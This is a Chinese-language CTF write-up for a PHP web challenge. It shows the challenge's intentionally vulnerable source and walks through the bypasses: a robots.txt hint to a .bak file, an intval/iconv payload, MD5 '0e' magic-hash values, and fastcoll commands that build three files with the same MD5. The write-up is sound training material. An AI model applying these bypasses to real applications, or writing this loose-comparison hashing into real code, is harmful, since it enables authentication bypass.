zk九月赛

这次web题考察的第一个知识点是robots协议,打开题目链接后只看到一个图片,在地址栏输入robots.txt,得到一个写着index.php.bak的界面,以.bak为后缀的都是备份文件,下载这个文件可以得到源代码,接下来开始对源码进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$v1=$v2=$v3=0;
error_reporting(0);
$flag='flag{******}';
header('content-type:text/html;charset=utf-8');
$m=@(string)$_GET['m'];
$n=@(string)$_GET['n'];
$a=@(string)$_POST['a'];
$b=@(string)$_POST['b'];
$c=@(string)$_POST['c'];
if(isset($_GET['num'])){
$num = intval($_GET['num']);
if ($num==2333 && $_GET['num']!=2333 && $_GET['num']!=iconv("UTF-8","gbk//IGNORE",$_GET['num'])) {
$v1=1;
if ($v1 && $m!=$n && md5($m)==md5($n) ){
$v2=1;
if($v2 && !( $a == $b || $a == $c || $b == $c )&& !(md5($a) !== md5($b) || md5($b) !== md5($c) || md5($a) !== md5($c))){
$v3=1;
if($v3){
echo "$flag";
}
}
else{
die("<center><h1>error!!!</h1><img src='want.jpg'/></center>");
}
}else{
die("<center><h1>error!!!</h1><img src='want.jpg'/></center>");
}
}else{
die("<center><h1>error!!!</h1><img src='want.jpg'/></center>");
}
}else{
die("<center><h1>Do you want flag?</h1><img src='want.jpg'/></center>");
}
?>

首先观察到每一层的错误提示都是一样的,因此难以判断对错,所以把源码复制到本地改一下错误提示后开始绕过。
第一层:

1
if ($num==2333 && $_GET['num']!=2333 && $_GET['num']!=iconv("UTF-8","gbk//IGNORE",$_GET['num']))

要求num的值为2333,但get到的num不为2333,查看源码发现

1
$num = intval($_GET['num']);

num进行了intval处理,会返回变量的整数值,因此可以输入小数来绕过$num==2333 && $_GET[‘num’]!=2333。
iconv函数把抓取来过的utf-8编码的页面转成gbk编码,IGNORE就是说遇到无法转换的就跳过,忽略转换时的错误。因为中文情况下utf-8转换为gbk通常会发生乱码问题,所以可以用中文绕过第三个条件(我觉得是这个原因,我也不知道对不对。。)

所以构造payload

1
?num=2333.3好

至此绕过第一层if语句,接下来看第二层

1
if ($v1 && $m!=$n && md5($m)==md5($n) )

md5弱比较,在php中以0e开头的会被识别为科学记数法,结果均为0,所以可以构造

1
m=s878926199a&n=s155964671a

进行绕过。(结尾附0e开头的md5和原值)

第三层

1
if($v2 && !( $a == $b || $a == $c || $b == $c )&& !(md5($a) !== md5($b) || md5($b) !== md5($c) || md5($a) !== md5($c)))

md5的强碰撞,此时不能输入数组进行绕过,只能输入字符串,把!转化过来后是:

1
($a !== $b && $a !== $c && $b !== $c)&&(md5($a) === md5($b) && md5($b) === md5($c) && md5($a) === md5($c))

这里推荐一篇文章 https://xz.aliyun.com/t/3161#toc-5

下载fastcoll工具“快速 MD5 碰撞生成器

【下载地址: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

本题要求三个MD5相同的文件,而fastcoll工具只能一次性生成两个文件,所以我们需要借助一个工具tail.exe【下载地址:https://www.trisunsoft.com/tail-for-windows.htm 】以及windows下的type命令

(windows下的tail命令,用于查看文件内容,并且可将指定长度内容输出到另一文件,)

本次过程在windows cmd.exe执行,具体生成过程如下:

1
2
3
4
D:\fastcoll>fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1      #-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01 #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成的MD5与jlzj1不同
D:\fastcoll>tail.exe -c 128 jlzj00 > a #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1与jlzj00的MD5不同的原因
D:\fastcoll>type jlzj0 a > jlzj10 #这里表示将jlzj0和a文件的内容合并写入jlzj10

到这里已经生成了jlzj00,jlzj01,jlzj10三个MD5相同的文件

测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制hash '. md5( (readmyfile("jlzj00")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("jlzj00"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5(urlencode (readmyfile("jlzj00")));
echo "<br><br>\r\n";
echo '二进制hash '.md5( (readmyfile("jlzj01")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("jlzj01"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5( urlencode(readmyfile("jlzj01")));
echo "<br><br>\r\n";
echo "<br><br>";
echo '二进制hash '. md5( (readmyfile("jlzj10")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("jlzj10"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5(urlencode (readmyfile("jlzj10")));
echo "<br><br>\r\n";
echo "<br><br>";

在这个页面得到生成的三个文件的url编码,之后在bp传参给a、b、c,拿到flag

好像也可以直接用python调用open并读取文件来传参..但咱不会写脚本..


附:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
0e开头的md5和原值:

QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020